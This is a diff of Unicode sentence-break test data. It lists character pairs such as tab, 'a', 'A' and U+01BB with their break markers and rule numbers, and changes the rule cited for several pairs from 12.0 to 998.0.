+÷ 0009 × 01BB ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0009 × 0308 × 01BB ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0009 × 0030 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0009 × 0308 × 0030 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0009 × 002E ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0009 × 0308 × 002E ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0009 × 0021 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0009 × 0308 × 0021 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0009 × 0022 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0009 × 0308 × 0022 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0009 × 002C ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0009 × 0308 × 002C ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0009 × 00AD ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0009 × 0308 × 00AD ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0009 × 0300 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0009 × 0308 × 0300 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0061 × 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0061 × 0308 × 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0061 × 000D ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0061 × 0308 × 000D ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0061 × 000A ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0061 × 0308 × 000A ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0061 × 0085 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0061 × 0308 × 0085 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0061 × 0009 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0061 × 0308 × 0009 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0061 × 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0061 × 0308 × 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0061 × 0041 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0061 × 0308 × 0041 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0061 × 01BB ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0061 × 0308 × 01BB ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0061 × 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0061 × 0308 × 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0061 × 002E ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0061 × 0308 × 002E ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0061 × 0021 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0061 × 0308 × 0021 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0061 × 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0061 × 0308 × 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0061 × 002C ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0061 × 0308 × 002C ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0061 × 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0061 × 0308 × 0001 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0061 × 000D ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0061 × 0308 × 000D ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0061 × 000A ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0061 × 0308 × 000A ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0061 × 0085 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0061 × 0308 × 0085 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0061 × 0009 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0061 × 0308 × 0009 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0061 × 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0061 × 0308 × 0061 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0061 × 0041 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0061 × 0308 × 0041 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0061 × 01BB ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0061 × 0308 × 01BB ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0061 × 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0061 × 0308 × 0030 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0061 × 002E ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0061 × 0308 × 002E ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0061 × 0021 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0061 × 0308 × 0021 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0061 × 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0061 × 0308 × 0022 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0061 × 002C ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0061 × 0308 × 002C ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0061 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 × 0308 × 00AD ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0061 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0061 × 0308 × 0300 ÷ # ÷ [0.2] LATIN SMALL LETTER A (Lower) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0041 × 0001 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0041 × 0308 × 0001 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0041 × 000D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0041 × 0308 × 000D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0041 × 000A ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0041 × 0308 × 000A ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0041 × 0085 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0041 × 0308 × 0085 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0041 × 0009 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0041 × 0308 × 0009 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0041 × 0061 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0041 × 0308 × 0061 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0041 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0041 × 0308 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0041 × 01BB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0041 × 0308 × 01BB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0041 × 0030 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0041 × 0308 × 0030 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0041 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0041 × 0308 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0041 × 0021 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0041 × 0308 × 0021 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0041 × 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0041 × 0308 × 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0041 × 002C ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0041 × 0308 × 002C ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0041 × 0001 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0041 × 0308 × 0001 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0041 × 000D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0041 × 0308 × 000D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0041 × 000A ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0041 × 0308 × 000A ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0041 × 0085 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0041 × 0308 × 0085 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0041 × 0009 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0041 × 0308 × 0009 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0041 × 0061 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0041 × 0308 × 0061 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0041 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0041 × 0308 × 0041 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0041 × 01BB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0041 × 0308 × 01BB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0041 × 0030 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0041 × 0308 × 0030 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0041 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0041 × 0308 × 002E ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0041 × 0021 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0041 × 0308 × 0021 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0041 × 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0041 × 0308 × 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0041 × 002C ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0041 × 0308 × 002C ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0041 × 00AD ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0041 × 0308 × 00AD ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0041 × 0300 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0041 × 0308 × 0300 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (Upper) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 01BB × 0001 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 01BB × 0308 × 0001 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 01BB × 000D ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 01BB × 0308 × 000D ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 01BB × 000A ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 01BB × 0308 × 000A ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 01BB × 0085 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 01BB × 0308 × 0085 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 01BB × 0009 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 01BB × 0308 × 0009 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 01BB × 0061 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 01BB × 0308 × 0061 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 01BB × 0041 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 01BB × 0308 × 0041 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 01BB × 01BB ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 01BB × 0308 × 01BB ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 01BB × 0030 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 01BB × 0308 × 0030 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 01BB × 002E ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 01BB × 0308 × 002E ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 01BB × 0021 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 01BB × 0308 × 0021 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 01BB × 0022 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 01BB × 0308 × 0022 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 01BB × 002C ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 01BB × 0308 × 002C ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 01BB × 0001 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 01BB × 0308 × 0001 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 01BB × 000D ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 01BB × 0308 × 000D ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
